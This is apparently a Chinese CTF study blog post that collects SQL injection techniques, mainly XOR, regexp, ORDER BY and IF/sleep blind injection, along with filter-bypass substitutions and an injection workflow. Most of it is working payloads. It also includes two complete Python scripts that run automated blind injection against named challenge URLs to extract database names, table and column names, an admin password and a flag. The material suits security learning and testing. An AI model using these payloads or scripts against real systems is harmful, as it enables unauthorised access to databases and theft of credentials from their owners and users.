sql注入的知识总结

前言

感觉现在的sql注入的题目实在是太多了,而且自己还不怎么会因此总结一波。

0x01 XOR注入

因为这种方法利用了异或符号,所以给他取名为xor注入。
1. 基本的注入payload
1
2
3
admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23
或者
admin'^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23
我们来分析一下这个语句的格式:
首先我们先用^符号来分割开语句。
1
2
3
admin'
ascii(mid((password)from(i)))>j
'1'='1'%23
最前面和最后面的语句都固定为真(逻辑结果都为一),只有中间的语句不确定真假,那么整个payload的逻辑结果都由中间的语句决定,那么我们就可以用这个特性来判断盲注的结果了
1
2
0^1^0 --> 1 语句返回为真
0^0^0 --> 0 语句返回为假
这里的mid函数的使用方法:
正常的用法如下,对于str字符串,从pos作为索引值位置开始,返回截取len长度的子字符串
1
MID(str,pos,len)
例如:
1
2
3
4
5
6
7
mysql> select mid('ljdd520',1,1);
+--------------------+
| mid('ljdd520',1,1) |
+--------------------+
| l |
+--------------------+
1 row in set (0.00 sec)
这里的用法是,from(1)表示从第一个位置开始截取剩下的字符串,for(1)表示从改位置起一次就截取一个字符
1
2
mid((str)from(i))
mid((str)from(i)for(1))
例如下面的方式:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select mid(('ljdd520')from(2));
+-------------------------+
| mid(('ljdd520')from(2)) |
+-------------------------+
| jdd520 |
+-------------------------+
1 row in set (0.00 sec)

mysql> select mid(('ljdd520')from(2)for(1));
+-------------------------------+
| mid(('ljdd520')from(2)for(1)) |
+-------------------------------+
| j |
+-------------------------------+
1 row in set (0.00 sec)
这里可能还有疑问:为什么这里不加for可以正常的运行呢?
1
因为这里的ascii函数是默认取字符串中第一个字符的ascii码做为输出
例如:
1
2
3
4
5
6
7
mysql> select ascii('ljdd520');
+------------------+
| ascii('ljdd520') |
+------------------+
| 108 |
+------------------+
1 row in set (0.00 sec)
2. 使用场景
1
2
3
过滤了关键字:and、or
过滤了逗号,
过滤了空格
如果这里过滤了=号的话,还可以用>或者<代替(大小的比较)
1
payload:admin'^(ascii(mid((password)from(i)))>j)^('2'>'1')%23
如果这里过滤了%号和注释符的话,那就把最后一个引号去掉就可以和后面的引号匹配了 ‘1’=’1
1
2
3
4
5
6
7
mysql> select password from users where id='1'^(ascii(mid((password)from(1)for(1)))<>ascii(6))^'1'='1';
+----------------------------------+
| password |
+----------------------------------+
| 5936ce302cf318b88161fccd1bd9690f |
+----------------------------------+
1 row in set (0.00 sec)
0x02 regexp注入
1. 基本注入payload
1
select (select语句) regexp '正则'
下面举一个例子来说明一下用法:
首先正常的查询语句是这样的:
select password from users where id=1
1
2
3
4
5
6
7
mysql> select password from users where id=1;
+----------------------------------+
| password |
+----------------------------------+
| 5936ce302cf318b88161fccd1bd9690f |
+----------------------------------+
1 row in set (0.00 sec)
接着进行正则表达式注入,若匹配则返回1,不匹配返回0。
1
2
3
4
5
6
7
mysql> select (select password from users where id=1) regexp '^5';
+-----------------------------------------------------+
| (select password from users where id=1) regexp '^5' |
+-----------------------------------------------------+
| 1 |
+-----------------------------------------------------+
1 row in set (0.00 sec)
这里的^表示pattern的开头
接下来只要一步步的判断就可以了
1
2
3
4
5
6
7
mysql> select (select password from users where id=1) regexp '^59';
+------------------------------------------------------+
| (select password from users where id=1) regexp '^59' |
+------------------------------------------------------+
| 1 |
+------------------------------------------------------+
1 row in set (0.00 sec)
或者regex这个关键字还可以代替where条件里的=号
1
2
3
4
5
6
7
mysql> select password from users where password regexp '^59';
+----------------------------------+
| password |
+----------------------------------+
| 5936ce302cf318b88161fccd1bd9690f |
+----------------------------------+
1 row in set (0.00 sec)
2. 使用场景
1
过滤了=、in、like
这里的^如果也被过滤了的话,可以使用$来从从后面进行匹配。
1
2
3
4
5
6
7
mysql> select (select password from users where id=1) regexp '0f$';
+------------------------------------------------------+
| (select password from users where id=1) regexp '0f$' |
+------------------------------------------------------+
| 1 |
+------------------------------------------------------+
1 row in set (0.01 sec)
详细的正则注入教程可以看这里
0x03 order by盲注
1. 基本注入payload
1
select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3
这里是order by的用法:
1
order by 'number' (asc/desc)
即对某一列进行排序,默认是升序排列,即后面默认跟上asc,那么上面一句就相当于:
1
select * from users order by 3 asc
我们在注入时经常会使用order by来判断数据库的列数,那我们这里使用他配合union select来进行注入。
2. 原理分析
我们现在的目的是要注出liyu用户的password值。
1
2
3
4
5
6
7
8
mysql> select *from users where id='2' union select 1,2,3,4;
+----+----------+------+----------------------------------+
| id | username | age | password |
+----+----------+------+----------------------------------+
| 2 | liyu | 18 | 262728a22f16ad48aa602f831de92936 |
| 1 | 2 | 3 | 4 |
+----+----------+------+----------------------------------+
2 rows in set (0.00 sec)
接着我们在语句后面加上order by 4,即对第四列进行升序排序(按照ascii码表)
1
2
3
4
5
6
7
8
mysql> select *from users where id='2' union select 1,2,3,4 order by 4 desc;
+----+----------+------+----------------------------------+
| id | username | age | password |
+----+----------+------+----------------------------------+
| 1 | 2 | 3 | 4 |
| 2 | liyu | 18 | 262728a22f16ad48aa602f831de92936 |
+----+----------+------+----------------------------------+
2 rows in set (0.00 sec)
这里的password列中4是我们union select里面的第四列,这里就把'4'替换为'1'。
1
2
3
4
5
6
7
8
mysql> select *from users where id='2' union select 1,2,3,'1' order by 4 desc;
+----+----------+------+----------------------------------+
| id | username | age | password |
+----+----------+------+----------------------------------+
| 2 | liyu | 18 | 262728a22f16ad48aa602f831de92936 |
| 1 | 2 | 3 | 1 |
+----+----------+------+----------------------------------+
2 rows in set (0.00 sec)
我们可以看到liyu用户跑到第一行来了,所以这里经常用来判断由返回差异的注入,且返回只有一列的输出,根据差异来判断我们的盲注值是否正确。
3. 使用场景
1
2
3
过滤了列名
过滤了括号
实用于已知该表的列名以及列名位置的注入
0x04 实例讲解
1. ascii盲注来自skctf login3的一道题目:
题目链接:http://123.206.31.85:49167/
这里最后是要注入出admin的password,过程就不详细讲解了,直接给出payload:
1
username = admin'^(ascii(mid((password)from(1)))>1)^('2'>'1')%23
下面是脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# -*- coding:UTF-8 -*-
import requests

filter_arr=[
'=',
' ',
'and',
'or',
'>',
'<',
'^',
'table_schema',
'table_name',
'column_name',
'--',
'&',
'|',
'\\',
'union',
'select',
'from',
'like',
'in',
'regex',
'||',
'&&',
'*',
'(',
')',
'for',
'mid',
'ascii',
'\'',
'"',
'`',
'substring'
]

filter_str= "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
requests=requests.session()
url="http://123.206.31.85:49167/index.php"
username='admin'
password='admin'

class Fuzz(object):
def __init__(self,username,password,fuzz_arr,fuzz_str):
self.username=username
self.password=password
self.fuzz_arr=fuzz_arr
self.fuzz_str=fuzz_str
self.headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip, deflate",
"Content-Type":"application/x-www-form-urlencoded",
}


def reqFuzz(self):
for i in range(0,len(self.fuzz_arr)):
datas={
"username":self.username+"'"+self.fuzz_arr[i],
"password":self.password
}
response=requests.post(url=url,data=datas,headers=self.headers)
if len(response.text)==830:
print "[+]------没有过滤的关键值是 "+self.fuzz_arr[i]

def reqDatabasere(self):
resutlt = ""
for i in range(30):
flag=0
for j in self.fuzz_str:
playlod = "admin'^(ascii(mid((database())from({})))<>{})^0#".format(str(i), ord(j))
data = {
"username": playlod,
"password": "admin"
}
s = requests.post(url, data)
if len(s.text) == 821:
resutlt += j
flag = 1
print(resutlt)
break
if flag==0:
break

def reqPassword(self):
resutlt = ""
for i in range(40):
flag = 0
for j in self.fuzz_str:
playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i + 1), ord(j))
data = {
"username": playlod,
"password": self.password
}
s = requests.post(url, data)
print(playlod)
if "error" in s.text:
resutlt += j
flag = 1
print('**************************', resutlt)
if flag == 0:
break

if __name__=='__main__':
fuzz = Fuzz(username, password, filter_arr,filter_str)
fuzz.reqPassword()
2. regex 盲注是来自实验吧的一道注入题目:
题目链接:http://ctf5.shiyanbar.com/web/earnest/index.php
这道题只有一个id作为输入点,id存在注入点,但是过滤了很多东西,前面的步骤就不详细说了,去看p牛的详细解答看到这里,过滤了^,但是没过滤$,所以xor注入就无效了,这边选择regexp注入使用$符号从后往前注入。
1
0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'='
下面是另外一种方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
# -*- coding:UTF-8 -*-
import requests

filter_arr=[
'=',
' ',
'and',
'or',
'>',
'<',
'^',
'table_schema',
'table_name',
'column_name',
'--',
'&',
'|',
'\\',
'union',
'select',
'from',
'like',
'in',
'regex',
'||',
'&&',
'*',
'(',
')',
'for',
'mid',
'ascii',
'\'',
'"',
'`',
'substring',
',',
'#',
'+',
'substr',
'$'
]

filter_str= "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=_@$~!"
requests=requests.session()
url="http://ctf5.shiyanbar.com/web/earnest/index.php"
id="0"
submit="%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2"

class Fuzz(object):
def __init__(self,id,submit,fuzz_arr,fuzz_str,len):
self.id=id
self.submit=submit
self.fuzz_arr=fuzz_arr
self.fuzz_str=fuzz_str
self.len=len
self.headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip, deflate",
"Content-Type":"application/x-www-form-urlencoded",
}

def reqFuzz(self):
for i in range(0,len(self.fuzz_arr)):
datas={
"id":self.id+"'"+self.fuzz_arr[i],
"submit":self.submit
}
response=requests.post(url=url,data=datas,headers=self.headers)
if len(response.text)!=584:
print "[+]------没有过滤的关键值是 "+self.fuzz_arr[i]

def reqDatabaseLen(self):
for i in range(1,30):
datas={
"id":self.id+"'"+"oorr(length(database())=%s)oorr'0"%i,
"submit":self.submit
}
response=requests.post(url=url,data=datas)
if len(response.text)==self.len:
print "the length of database is %s"%i
break

def reqDatabase(self):
result=""
for i in range(1,19):
for j in self.fuzz_str:
datas={
"id":self.id+"'"+"oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0"%(i,j),
"submit":self.submit
}
response=requests.post(url,data=datas)
if len(response.text)==self.len:
result+=j
print result
break

def reqTableLen(self):
i=1
while True:
payload="0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0"%i
# 由于空格的过滤我们可以用0x0a来替代
payload=payload.replace(' ',chr(0x0a))
datas={
"id":payload,
"submit":self.submit
}
response=requests.post(url=url,data=datas)
if len(response.text)==self.len:
print "[+]------the length of tables is %s"%i
break
i+=1

def reqTables(self):
result=""
for i in range(1, 12):
for j in self.fuzz_str:
payload = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0" % (
i, j)
payload = payload.replace(' ', chr(0x0a))
key = {
'id': payload,
'submit':self.submit
}
r = requests.post(url, data=key)
if len(r.text)==self.len:
result += j
print result
break
print "[+]------数据库的表为"+result

def reqColumnLen(self):
i = 1
while True:
flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0" % i
flag = flag.replace(' ', chr(0x0a))
key = {
'id': flag,
'submit':self.submit
}
r = requests.post(url, data=key)
if len(r.text)==self.len:
print('the length of columns is %s' % i)
break
i += 1

def reqColumns(self):
result = ''
for i in range(1, 6):
for j in self.fuzz_str:
flag = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0" % (
i, j)
flag = flag.replace(' ', chr(0x0a))
key = {
'id': flag,
'submit':self.submit
}
r = requests.post(url, data=key)
if len(r.text)==self.len:
result += j
print(j)
break
print(result)

def reqColumnData(self):
i = 1
while True:
flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='')oorr'0" % i
flag = flag.replace(' ', chr(0x0a))
key = {'id': flag}
r = requests.post(url, data=key)
print(key)
if len(r.text) == self.len:
print('the length of data is %s' % i)
break
i += 1
def reqFlag(self):
# 这里的空格会转换成-
# 跑出来的flag{haha~you-win!}
# 所以真正的flag{haha~you win!}
data = ''
for i in range(1, 20):
for j in self.fuzz_str:
flag = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0" % (i, j)
flag = flag.replace(' ', chr(0x0a))
key = {'id': flag}
r = requests.post(url, data=key)
print(key)
if len(r.text)==self.len:
data += j
print(j)
break
print(data)


if __name__=='__main__':
fuzz = Fuzz(id,submit, filter_arr,filter_str,690)
fuzz.reqFlag()

"""
mysql> select username from users where id='0' or ((select mid(group_concat(username separator '@')from(1)for(2)) from users)='li') or '0' order by 1 desc limit 1;
+----------+
| username |
+----------+
| liyu |
+----------+
1 row in set (0.00 sec)
"""
0x04 其他的一些小tips
1.一些等效替代的函数(特殊符号)
字符:
1
2
3
4
5
6
7
空格 <--> %20、%0a、%0b、/**/、 @tmp:=test
and <--> or
'=' <--> 'like' <--> 'in' --> 'regexp' <--> 'rlike' --> '>' <--> '<'
```
###### 注意:
```text
@tmp:=test只能用在select关键字之后,等号后面的字符串随意
函数:
1
2
字符串截断函数:left()、mid()、substr()、substring()
取ascii码函数:ord()、ascii()
2. 一次性报所有表明和字段名
1
(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)
3. Subquery returns more than 1 row的解决方法
产生这个问题的原因是子查询多于一列,也就是显示为只有一列的情况下,没有使用limit语句限制,就会产生这个问题,即limt 0,1
如果我们这里的逗号被过滤了咋办?那就使用offset关键字:
1
limit 1 offset 1
如果我们这里的limit被过滤了咋办?那就试试下面的几种方法:
1
2
3
4
(1) group_concat(使用的最多)
(2) <>筛选(不等于)
(3) not in
(4) DISTINCT
4. join注入
payload:
1
1' union select * from (select 1) a join (select 2) b %23
优势:过滤了逗号的情况下使用
下面的payload(别的博客处摘抄来的)适用于过滤了逗号和字段名的情况下使用
1
2
3
4
5
6
7
8
9
10
union all
select * from(
(select 1)a join(
select F.[需要查询的字段号] from(
select * from [需要查询的表有多少个字段就join多少个]
union
select * from [需要查询的表] [limit子句]
)F-- 我们创建的虚拟表没有表名,因此定义一个别名,然后直接[别名].[字段号]查询数据
)b-- 同上[还差多少字段就再join多少个,以满足字段数相同的原则]
)
5. 带!的注入
直接看下面的payload,适用于and、or、^被过滤的情况下使用,有时候可能也会使用到,但是具体的原理不是很明白,大家可以自行google
1
uname='!=!!(ascii(mid((password)form(1)))==99)!=!!'1&passwd=dddd
6. if盲注(合理利用条件)
if盲注的基本格式:
1
if(条件,条件为真执行的语句,条件为假执行的语句)
例如:
1
admin' if(ascii(mid(user(),1,1))=100,sleep(5),1)
结果如下:
1
2
mysql> select username from users where username='liyu' and if(ascii(mid(user(),1,1))=114,sleep(5),1);
Empty set (5.00 sec)
用好if盲注的关键是条件的输入,有一道BCTF的注入题的wp用的就是if盲注
wp链接:https://www.kingkk.com/2018/04/bctf2018-love-q/
写博客的这位大佬巧妙利用了pow函数数值溢出的特性,使得经过if判断后的条件会报错,但是不执行该语句时语法上是没问题的
原理如下:
1
2
3
4
5
6
7
8
9
10
mysql> select if(1,1,pow(2,22222222222));
+----------------------------+
| if(1,1,pow(2,22222222222)) |
+----------------------------+
| 1 |
+----------------------------+
1 row in set (0.01 sec)

mysql> select if(0,1,pow(2,22222222222));
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,22222222222)'
第一个语句为条件为真,后面一个为假。
像利用pow这种函数溢出的特性也不止这一个,这就需要我们靠平时的经验积累了,总之想要玩好ctf的注入题途径就是多刷题。
0x06 自己总结的注入流程
1、先找到注入点,id=,username=,判断GET/POST/COOKIE注入
2、查看显示位,如果只有一个显示位在使用union注入是注意使用limit来限制显示
3、判断字符型注入还是数字型注入(2-1,’是否正常)
4、输入不同值查看页面是否有变化,无变化的话可以考虑采用bool时间盲注,若有报错信息优先考虑报错注入(exp,updatexml(优先采用updatexml、extractvalue报错))
5、先简单测试空格和注释符是否被替换了,id=1 1,id = 1%231(看看能否用/ /、%20、%0a、%09绕过)
6、进行fuzz,看看那些被waf了
7、若页面上没有显示waf过滤之类的提示(sql injection detected),就测试是否有被替换为空的字符(如:’ or ‘*’=’、’ or ‘-‘=’ ,如果页面返回正常的话,则说明该字符被替换为空)
8、简单尝试双写、编码、大小写替换的方法,判断是否可以绕过
9、确定注入方式(尽量把盲注放最后),union、报错注入、盲注
10、先在bp中跑一遍看是否有结果
11、尝试写脚本
最重要的两步就是注入点并判断出注入类型,找到被过滤的函数和关键字并找到替代的函数和关键字,这就需要我们靠自己的耐心和细心还有经验的积累了。
0x07 结束语
上面的说的那些盲注手法都是在union注入、报错注入和可回显注入都失效的情况下使用的,所以说盲注是一种通法,他也是放在最后使用的方法,如果本来环境就存在回显的点可以用union直接注入出来,还使用盲注显的有点多此一举,也浪费很多时间。所以这些方法需要根据大家遇到的实际情况进行灵活运用。
0x08 其他一些不错的参考文章
SQL注入绕过技巧
SQLi filter evasion cheat sheet
我的WafBypass之道(SQL注入篇)
sql 盲注之正则表达式攻击
mysql无逗号的注入技巧
fuzz字典